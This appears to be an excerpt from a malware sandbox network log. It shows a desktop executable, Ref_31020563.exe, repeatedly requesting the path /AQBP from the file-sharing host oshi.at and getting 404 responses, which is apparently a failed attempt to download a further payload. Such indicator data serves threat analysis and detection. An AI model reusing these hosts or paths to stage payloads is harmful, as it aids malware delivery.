Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49745	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:49 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:51 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:51 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:51 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49746	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:53 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:54 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:54 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:54 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49747	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:56 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:28:57 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:28:57 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:28:57 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49748	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:28:59 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:00 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:00 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:00 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49749	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:02 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:03 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:03 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:03 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49750	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:05 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:06 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:06 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:06 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49751	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:08 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:09 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:08 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:09 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49752	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:11 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:12 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:11 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:12 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49753	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:14 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:15 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:15 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:15 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49754	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:17 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:18 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:18 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:18 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49755	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:20 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:21 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:21 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:21 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49756	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:23 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:24 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:24 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:24 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49757	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:26 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:27 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:27 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:27 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49758	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:29 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:30 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:29 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:30 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49759	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:32 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:33 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:32 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:33 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49760	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:35 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
